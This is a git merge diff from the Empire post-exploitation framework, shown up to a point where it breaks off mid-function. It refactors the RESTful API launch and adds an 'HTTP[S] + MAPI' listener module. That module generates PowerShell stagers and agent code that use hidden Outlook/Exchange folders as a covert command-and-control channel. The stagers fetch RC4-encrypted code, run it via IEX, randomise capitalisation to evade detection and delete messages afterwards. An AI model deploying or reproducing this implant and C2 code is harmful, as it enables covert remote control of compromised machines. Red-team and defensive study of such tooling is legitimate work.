Merge branch 'dev' into restfulapi_fixes
commit
425cb7fedc
|
@ -8,3 +8,4 @@ downloads/*
|
|||
LastTask*
|
||||
setup/xar*
|
||||
setup/bomutils/*
|
||||
.venv
|
Binary file not shown.
File diff suppressed because it is too large
Load Diff
67
empire
67
empire
|
@ -3,7 +3,7 @@
|
|||
import sqlite3, argparse, sys, argparse, logging, json, string
|
||||
import os, re, time, signal, copy, base64, pickle
|
||||
from flask import Flask, request, jsonify, make_response, abort, url_for
|
||||
from time import localtime, strftime
|
||||
from time import localtime, strftime, sleep
|
||||
from OpenSSL import SSL
|
||||
from Crypto.Random import random
|
||||
|
||||
|
@ -140,11 +140,11 @@ def get_permanent_token(conn):
|
|||
#
|
||||
####################################################################
|
||||
|
||||
def start_restful_api(startEmpire=False, suppress=False, username=None, password=None, port=1337):
|
||||
def start_restful_api(empireMenu, suppress=False, username=None, password=None, port=1337):
|
||||
"""
|
||||
Kick off the RESTful API with the given parameters.
|
||||
|
||||
startEmpire - start a complete Empire instance in the backend as well
|
||||
empireMenu - Main empire menu object
|
||||
suppress - suppress most console output
|
||||
username - optional username to use for the API, otherwise pulls from the empire.db config
|
||||
password - optional password to use for the API, otherwise pulls from the empire.db config
|
||||
|
@ -155,6 +155,8 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
|
|||
|
||||
conn = database_connect()
|
||||
|
||||
main = empireMenu
|
||||
|
||||
global serverExitCommand
|
||||
|
||||
# if a username/password were not supplied, use the creds stored in the db
|
||||
|
@ -171,28 +173,8 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
|
|||
else:
|
||||
execute_db_query(conn, "UPDATE config SET api_password=?", password)
|
||||
|
||||
|
||||
class Namespace:
|
||||
"""
|
||||
Temporary namespace to create the followin base argument object.
|
||||
"""
|
||||
def __init__(self, **kwargs):
|
||||
self.__dict__.update(kwargs)
|
||||
|
||||
# instantiate an Empire instance in case we need to interact with stagers or listeners
|
||||
args = Namespace(debug=None, listener=None, stager=None, stager_options=None, version=False)
|
||||
|
||||
print ''
|
||||
|
||||
if startEmpire:
|
||||
# if we want to start a full-running empire instance
|
||||
print " * Starting a full Empire instance"
|
||||
main = empire.MainMenu(args=args)
|
||||
else:
|
||||
# if we just want the RESTful API, i.e. no listener/etc. startup
|
||||
main = empire.MainMenu(args=args, restAPI=True)
|
||||
|
||||
|
||||
print " * Starting Empire RESTful API on port: %s" %(port)
|
||||
|
||||
# refresh the token for the RESTful API
|
||||
|
@ -211,7 +193,6 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
|
|||
# suppress all stdout and don't initiate the main cmdloop
|
||||
sys.stdout = open(os.devnull, 'w')
|
||||
|
||||
|
||||
# validate API token before every request except for the login URI
|
||||
@app.before_request
|
||||
def check_token():
|
||||
|
@ -869,8 +850,9 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
|
|||
|
||||
for result in agentResults:
|
||||
[resultid, agent, data] = result
|
||||
agentTaskResults.append({"taskID": result[0], "agentname": result[1], "results": result[2]})
|
||||
|
||||
agentTaskResults.append({"taskID": result[0], "agentname": result[1], "results": result[2]})
|
||||
|
||||
return jsonify({'results': agentTaskResults})
|
||||
|
||||
|
||||
|
@ -1194,7 +1176,7 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
|
|||
if conn:
|
||||
conn.close()
|
||||
|
||||
if startEmpire:
|
||||
if suppress:
|
||||
print " * Shutting down the Empire instance"
|
||||
main.shutdown()
|
||||
|
||||
|
@ -1233,15 +1215,16 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
|
|||
signal.signal(signal.SIGINT, signal.default_int_handler)
|
||||
sys.exit()
|
||||
|
||||
|
||||
signal.signal(signal.SIGINT, signal_handler)
|
||||
try:
|
||||
signal.signal(signal.SIGINT, signal_handler)
|
||||
except ValueError:
|
||||
pass
|
||||
|
||||
# wrap the Flask connection in SSL and start it
|
||||
context = ('./data/empire.pem', './data/empire.pem')
|
||||
app.run(host='0.0.0.0', port=int(port), ssl_context=context, threaded=True)
|
||||
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
|
||||
parser = argparse.ArgumentParser()
|
||||
|
@ -1257,7 +1240,7 @@ if __name__ == '__main__':
|
|||
|
||||
restGroup = parser.add_argument_group('RESTful API Options')
|
||||
launchGroup = restGroup.add_mutually_exclusive_group()
|
||||
launchGroup.add_argument('--rest', action='store_true', help='Run the Empire RESTful API.')
|
||||
launchGroup.add_argument('--rest', action='store_true', help='Run Empire and the RESTful API.')
|
||||
launchGroup.add_argument('--headless', action='store_true', help='Run Empire and the RESTful API headless without the usual interface.')
|
||||
restGroup.add_argument('--restport', type=int, nargs=1, help='Port to run the Empire RESTful API on.')
|
||||
restGroup.add_argument('--username', nargs=1, help='Start the RESTful API with the specified username instead of pulling from empire.db')
|
||||
|
@ -1274,20 +1257,30 @@ if __name__ == '__main__':
|
|||
print empire.VERSION
|
||||
|
||||
elif args.rest:
|
||||
# start just the RESTful API
|
||||
while serverExitCommand == 'restart':
|
||||
try:
|
||||
start_restful_api(startEmpire=False, suppress=False, username=args.username, password=args.password, port=args.restport)
|
||||
except SystemExit as e:
|
||||
pass
|
||||
# start an Empire instance and RESTful API
|
||||
main = empire.MainMenu(args=args)
|
||||
def thread_api(empireMenu):
|
||||
while serverExitCommand == 'restart':
|
||||
try:
|
||||
start_restful_api(empireMenu=empireMenu, suppress=False, username=args.username, password=args.password, port=args.restport)
|
||||
except SystemExit as e:
|
||||
pass
|
||||
|
||||
thread = helpers.KThread(target=thread_api, args=(main,))
|
||||
thread.daemon = True
|
||||
thread.start()
|
||||
sleep(2)
|
||||
main.cmdloop()
|
||||
|
||||
elif args.headless:
|
||||
# start an Empire instance and RESTful API and suppress output
|
||||
main = empire.MainMenu(args=args)
|
||||
while serverExitCommand == 'restart':
|
||||
try:
|
||||
start_restful_api(startEmpire=True, suppress=True, username=args.username, password=args.password, port=args.restport)
|
||||
start_restful_api(empireMenu=main, suppress=True, username=args.username, password=args.password, port=args.restport)
|
||||
except SystemExit as e:
|
||||
pass
|
||||
|
||||
else:
|
||||
# normal execution
|
||||
main = empire.MainMenu(args=args)
|
||||
|
|
|
@ -60,7 +60,7 @@ class MainMenu(cmd.Cmd):
|
|||
The main class used by Empire to drive the 'main' menu
|
||||
displayed when Empire starts.
|
||||
"""
|
||||
def __init__(self, args=None, restAPI=False):
|
||||
def __init__(self, args=None):
|
||||
|
||||
cmd.Cmd.__init__(self)
|
||||
|
||||
|
|
|
@ -0,0 +1,626 @@
|
|||
import logging
|
||||
import base64
|
||||
import random
|
||||
import os
|
||||
import time
|
||||
import copy
|
||||
from pydispatch import dispatcher
|
||||
from flask import Flask, request, make_response
|
||||
|
||||
# Empire imports
|
||||
from lib.common import helpers
|
||||
from lib.common import agents
|
||||
from lib.common import encryption
|
||||
from lib.common import packets
|
||||
from lib.common import messages
|
||||
|
||||
|
||||
class Listener:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'HTTP[S] + MAPI',
|
||||
|
||||
'Author': ['@harmj0y','@_staaldraad'],
|
||||
|
||||
'Description': ('Starts a http[s] listener (PowerShell) which can be used with Liniaal for C2 through Exchange'),
|
||||
|
||||
'Category' : ('client_server'),
|
||||
|
||||
'Comments': ['This requires the Liniaal agent to translate messages from MAPI to HTTP. More info: https://github.com/sensepost/liniaal']
|
||||
}
|
||||
|
||||
# any options needed by the stager, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
|
||||
'Name' : {
|
||||
'Description' : 'Name for the listener.',
|
||||
'Required' : True,
|
||||
'Value' : 'mapi'
|
||||
},
|
||||
'Host' : {
|
||||
'Description' : 'Hostname/IP for staging.',
|
||||
'Required' : True,
|
||||
'Value' : "http://%s:%s" % (helpers.lhost(), 80)
|
||||
},
|
||||
'BindIP' : {
|
||||
'Description' : 'The IP to bind to on the control server.',
|
||||
'Required' : True,
|
||||
'Value' : '0.0.0.0'
|
||||
},
|
||||
'Port' : {
|
||||
'Description' : 'Port for the listener.',
|
||||
'Required' : True,
|
||||
'Value' : 80
|
||||
},
|
||||
'StagingKey' : {
|
||||
'Description' : 'Staging key for initial agent negotiation.',
|
||||
'Required' : True,
|
||||
'Value' : '2c103f2c4ed1e59c0b4e2e01821770fa'
|
||||
},
|
||||
'DefaultDelay' : {
|
||||
'Description' : 'Agent delay/reach back interval (in seconds).',
|
||||
'Required' : True,
|
||||
'Value' : 0
|
||||
},
|
||||
'DefaultJitter' : {
|
||||
'Description' : 'Jitter in agent reachback interval (0.0-1.0).',
|
||||
'Required' : True,
|
||||
'Value' : 0.0
|
||||
},
|
||||
'DefaultLostLimit' : {
|
||||
'Description' : 'Number of missed checkins before exiting',
|
||||
'Required' : True,
|
||||
'Value' : 60
|
||||
},
|
||||
'DefaultProfile' : {
|
||||
'Description' : 'Default communication profile for the agent.',
|
||||
'Required' : True,
|
||||
'Value' : "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
|
||||
},
|
||||
'CertPath' : {
|
||||
'Description' : 'Certificate path for https listeners.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'KillDate' : {
|
||||
'Description' : 'Date for the listener to exit (MM/dd/yyyy).',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'WorkingHours' : {
|
||||
'Description' : 'Hours for the agent to operate (09:00-17:00).',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'ServerVersion' : {
|
||||
'Description' : 'TServer header for the control server.',
|
||||
'Required' : True,
|
||||
'Value' : 'Microsoft-IIS/7.5'
|
||||
},
|
||||
'Folder' : {
|
||||
'Description' : 'The hidden folder in Exchange to user',
|
||||
'Required' : True,
|
||||
'Value' : 'Liniaal'
|
||||
},
|
||||
'Email' : {
|
||||
'Description' : 'The email address of our target',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
# required:
|
||||
self.mainMenu = mainMenu
|
||||
self.threads = {}
|
||||
|
||||
# optional/specific for this module
|
||||
self.app = None
|
||||
self.uris = [a.strip('/') for a in self.options['DefaultProfile']['Value'].split('|')[0].split(',')]
|
||||
|
||||
# set the default staging key to the controller db default
|
||||
self.options['StagingKey']['Value'] = str(helpers.get_config('staging_key')[0])
|
||||
|
||||
|
||||
def default_response(self):
|
||||
"""
|
||||
Returns a default HTTP server page.
|
||||
"""
|
||||
page = "<html><body><h1>It works!</h1>"
|
||||
page += "<p>This is the default web page for this server.</p>"
|
||||
page += "<p>The web server software is running but no content has been added, yet.</p>"
|
||||
page += "</body></html>"
|
||||
return page
|
||||
|
||||
|
||||
def validate_options(self):
|
||||
"""
|
||||
Validate all options for this listener.
|
||||
"""
|
||||
|
||||
self.uris = [a.strip('/') for a in self.options['DefaultProfile']['Value'].split('|')[0].split(',')]
|
||||
|
||||
for key in self.options:
|
||||
if self.options[key]['Required'] and (str(self.options[key]['Value']).strip() == ''):
|
||||
print helpers.color("[!] Option \"%s\" is required." % (key))
|
||||
return False
|
||||
|
||||
return True
|
||||
|
||||
|
||||
def generate_launcher(self, encode=True, userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None):
|
||||
"""
|
||||
Generate a basic launcher for the specified listener.
|
||||
"""
|
||||
|
||||
if not language:
|
||||
print helpers.color('[!] listeners/http generate_launcher(): no language specified!')
|
||||
|
||||
if listenerName and (listenerName in self.threads) and (listenerName in self.mainMenu.listeners.activeListeners):
|
||||
|
||||
# extract the set options for this instantiated listener
|
||||
listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options']
|
||||
host = listenerOptions['Host']['Value']
|
||||
stagingKey = listenerOptions['StagingKey']['Value']
|
||||
profile = listenerOptions['DefaultProfile']['Value']
|
||||
uris = [a for a in profile.split('|')[0].split(',')]
|
||||
stage0 = random.choice(uris)
|
||||
|
||||
if language.startswith('po'):
|
||||
# PowerShell
|
||||
|
||||
stager = ''
|
||||
if safeChecks.lower() == 'true':
|
||||
# @mattifestation's AMSI bypass
|
||||
stager = helpers.randomize_capitalization('Add-Type -assembly "Microsoft.Office.Interop.Outlook";')
|
||||
stager += "$outlook = New-Object -comobject Outlook.Application;"
|
||||
stager += helpers.randomize_capitalization('$mapi = $Outlook.GetNameSpace("')
|
||||
stager += 'MAPI");'
|
||||
if listenerOptions['Email']['Value'] != '':
|
||||
stager += '$fld = $outlook.Session.Folders | Where-Object {$_.Name -eq "'+listenerOptions['Email']['Value']+'"} | %{$_.Folders.Item(2).Folders.Item("'+listenerOptions['Folder']['Value']+'")};'
|
||||
stager += '$fldel = $outlook.Session.Folders | Where-Object {$_.Name -eq "'+listenerOptions['Email']['Value']+'"} | %{$_.Folders.Item(3)};'
|
||||
else:
|
||||
stager += '$fld = $outlook.Session.GetDefaultFolder(6).Folders.Item("'+listenerOptions['Folder']['Value']+'");'
|
||||
stager += '$fldel = $outlook.Session.GetDefaultFolder(3);'
|
||||
# clear out all existing mails/messages
|
||||
|
||||
stager += helpers.randomize_capitalization("while(($fld.Items | measure | %{$_.Count}) -gt 0 ){ $fld.Items | %{$_.delete()};}")
|
||||
# code to turn the key string into a byte array
|
||||
stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(")
|
||||
stager += "'%s');" % (stagingKey)
|
||||
|
||||
# this is the minimized RC4 stager code from rc4.ps1
|
||||
stager += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};')
|
||||
|
||||
# prebuild the request routing packet for the launcher
|
||||
routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='')
|
||||
b64RoutingPacket = base64.b64encode(routingPacket)
|
||||
|
||||
# add the RC4 packet to a cookie
|
||||
stager += helpers.randomize_capitalization('$mail = $outlook.CreateItem(0);$mail.Subject = "')
|
||||
stager += 'mailpireout";'
|
||||
stager += helpers.randomize_capitalization('$mail.Body = ')
|
||||
stager += '"STAGE - %s"' % b64RoutingPacket
|
||||
stager += helpers.randomize_capitalization(';$mail.save() | out-null;')
|
||||
stager += helpers.randomize_capitalization('$mail.Move($fld)| out-null;')
|
||||
stager += helpers.randomize_capitalization('$break = $False; $data = "";')
|
||||
stager += helpers.randomize_capitalization("While ($break -ne $True){")
|
||||
stager += helpers.randomize_capitalization('$fld.Items | Where-Object {$_.Subject -eq "mailpirein"} | %{$_.HTMLBody | out-null} ;')
|
||||
stager += helpers.randomize_capitalization('$fld.Items | Where-Object {$_.Subject -eq "mailpirein" -and $_.DownloadState -eq 1} | %{$break=$True; $data=[System.Convert]::FromBase64String($_.Body);$_.Delete();};}')
|
||||
|
||||
stager += helpers.randomize_capitalization("$iv=$data[0..3];$data=$data[4..$data.length];")
|
||||
|
||||
# decode everything and kick it over to IEX to kick off execution
|
||||
stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX")
|
||||
|
||||
# base64 encode the stager and return it
|
||||
if encode:
|
||||
return helpers.powershell_launcher(stager)
|
||||
else:
|
||||
# otherwise return the case-randomized stager
|
||||
return stager
|
||||
else:
|
||||
print helpers.color("[!] listeners/http_mapi generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module.")
|
||||
|
||||
else:
|
||||
print helpers.color("[!] listeners/http_mapi generate_launcher(): invalid listener name specification!")
|
||||
|
||||
|
||||
def generate_stager(self, listenerOptions, encode=False, encrypt=True, language="powershell"):
|
||||
"""
|
||||
Generate the stager code needed for communications with this listener.
|
||||
"""
|
||||
|
||||
#if not language:
|
||||
# print helpers.color('[!] listeners/http_mapi generate_stager(): no language specified!')
|
||||
# return None
|
||||
|
||||
profile = listenerOptions['DefaultProfile']['Value']
|
||||
uris = [a.strip('/') for a in profile.split('|')[0].split(',')]
|
||||
stagingKey = listenerOptions['StagingKey']['Value']
|
||||
host = listenerOptions['Host']['Value']
|
||||
folder = listenerOptions['Folder']['Value']
|
||||
|
||||
if language.lower() == 'powershell':
|
||||
|
||||
# read in the stager base
|
||||
f = open("%s/data/agent/stagers/http_mapi.ps1" % (self.mainMenu.installPath))
|
||||
stager = f.read()
|
||||
f.close()
|
||||
|
||||
# make sure the server ends with "/"
|
||||
if not host.endswith("/"):
|
||||
host += "/"
|
||||
|
||||
# patch the server and key information
|
||||
stager = stager.replace('REPLACE_STAGING_KEY', stagingKey)
|
||||
stager = stager.replace('REPLACE_FOLDER', folder)
|
||||
|
||||
randomizedStager = ''
|
||||
|
||||
for line in stager.split("\n"):
|
||||
line = line.strip()
|
||||
# skip commented line
|
||||
if not line.startswith("#"):
|
||||
# randomize capitalization of lines without quoted strings
|
||||
if "\"" not in line:
|
||||
randomizedStager += helpers.randomize_capitalization(line)
|
||||
else:
|
||||
randomizedStager += line
|
||||
|
||||
# base64 encode the stager and return it
|
||||
if encode:
|
||||
return helpers.enc_powershell(randomizedStager)
|
||||
elif encrypt:
|
||||
RC4IV = os.urandom(4)
|
||||
return RC4IV + encryption.rc4(RC4IV+stagingKey, randomizedStager)
|
||||
else:
|
||||
# otherwise just return the case-randomized stager
|
||||
return randomizedStager
|
||||
else:
|
||||
print helpers.color("[!] listeners/http generate_stager(): invalid language specification, only 'powershell' is currently supported for this module.")
|
||||
|
||||
|
||||
def generate_agent(self, listenerOptions, language=None):
|
||||
"""
|
||||
Generate the full agent code needed for communications with this listener.
|
||||
"""
|
||||
|
||||
if not language:
|
||||
print helpers.color('[!] listeners/http_mapi generate_agent(): no language specified!')
|
||||
return None
|
||||
|
||||
language = language.lower()
|
||||
delay = listenerOptions['DefaultDelay']['Value']
|
||||
jitter = listenerOptions['DefaultJitter']['Value']
|
||||
profile = listenerOptions['DefaultProfile']['Value']
|
||||
lostLimit = listenerOptions['DefaultLostLimit']['Value']
|
||||
killDate = listenerOptions['KillDate']['Value']
|
||||
workingHours = listenerOptions['WorkingHours']['Value']
|
||||
folder = listenerOptions['Folder']['Value']
|
||||
b64DefaultResponse = base64.b64encode(self.default_response())
|
||||
|
||||
if language == 'powershell':
|
||||
|
||||
f = open(self.mainMenu.installPath + "./data/agent/agent.ps1")
|
||||
code = f.read()
|
||||
f.close()
|
||||
|
||||
# patch in the comms methods
|
||||
commsCode = self.generate_comms(listenerOptions=listenerOptions, language=language)
|
||||
commsCode = commsCode.replace('REPLACE_FOLDER',folder)
|
||||
code = code.replace('REPLACE_COMMS', commsCode)
|
||||
|
||||
# strip out comments and blank lines
|
||||
code = helpers.strip_powershell_comments(code)
|
||||
|
||||
# patch in the delay, jitter, lost limit, and comms profile
|
||||
code = code.replace('$AgentDelay = 60', "$AgentDelay = " + str(delay))
|
||||
code = code.replace('$AgentJitter = 0', "$AgentJitter = " + str(jitter))
|
||||
code = code.replace('$Profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', "$Profile = \"" + str(profile) + "\"")
|
||||
code = code.replace('$LostLimit = 60', "$LostLimit = " + str(lostLimit))
|
||||
code = code.replace('$DefaultResponse = ""', '$DefaultResponse = "'+str(b64DefaultResponse)+'"')
|
||||
|
||||
# patch in the killDate and workingHours if they're specified
|
||||
if killDate != "":
|
||||
code = code.replace('$KillDate,', "$KillDate = '" + str(killDate) + "',")
|
||||
if workingHours != "":
|
||||
code = code.replace('$WorkingHours,', "$WorkingHours = '" + str(workingHours) + "',")
|
||||
|
||||
return code
|
||||
else:
|
||||
print helpers.color("[!] listeners/http_mapi generate_agent(): invalid language specification, only 'powershell' is currently supported for this module.")
|
||||
|
||||
|
||||
def generate_comms(self, listenerOptions, language=None):
|
||||
"""
|
||||
Generate just the agent communication code block needed for communications with this listener.
|
||||
|
||||
This is so agents can easily be dynamically updated for the new listener.
|
||||
"""
|
||||
|
||||
if language:
|
||||
if language.lower() == 'powershell':
|
||||
|
||||
updateServers = """
|
||||
$Script:ControlServers = @("%s");
|
||||
$Script:ServerIndex = 0;
|
||||
""" % (listenerOptions['Host']['Value'])
|
||||
|
||||
getTask = """
|
||||
function script:Get-Task {
|
||||
try {
|
||||
# meta 'TASKING_REQUEST' : 4
|
||||
$RoutingPacket = New-RoutingPacket -EncData $Null -Meta 4;
|
||||
$RoutingCookie = [Convert]::ToBase64String($RoutingPacket);
|
||||
|
||||
# choose a random valid URI for checkin
|
||||
$taskURI = $script:TaskURIs | Get-Random;
|
||||
|
||||
$mail = $outlook.CreateItem(0);
|
||||
$mail.Subject = "mailpireout";
|
||||
$mail.Body = "GET - "+$RoutingCookie+" - "+$taskURI;
|
||||
$mail.save() | out-null;
|
||||
$mail.Move($fld)| out-null;
|
||||
|
||||
# keep checking to see if there is response
|
||||
$break = $False;
|
||||
[byte[]]$b = @();
|
||||
|
||||
While ($break -ne $True){
|
||||
foreach ($item in $fld.Items) {
|
||||
if($item.Subject -eq "mailpirein"){
|
||||
$item.HTMLBody | out-null;
|
||||
if($item.Body[$item.Body.Length-1] -ne '-'){
|
||||
$traw = $item.Body;
|
||||
$item.Delete();
|
||||
$break = $True;
|
||||
$b = [System.Convert]::FromBase64String($traw);
|
||||
}
|
||||
}
|
||||
}
|
||||
Start-Sleep -s 1;
|
||||
}
|
||||
return ,$b
|
||||
|
||||
}
|
||||
catch {
|
||||
|
||||
}
|
||||
while(($fldel.Items | measure | %{$_.Count}) -gt 0 ){ $fldel.Items | %{$_.delete()};} |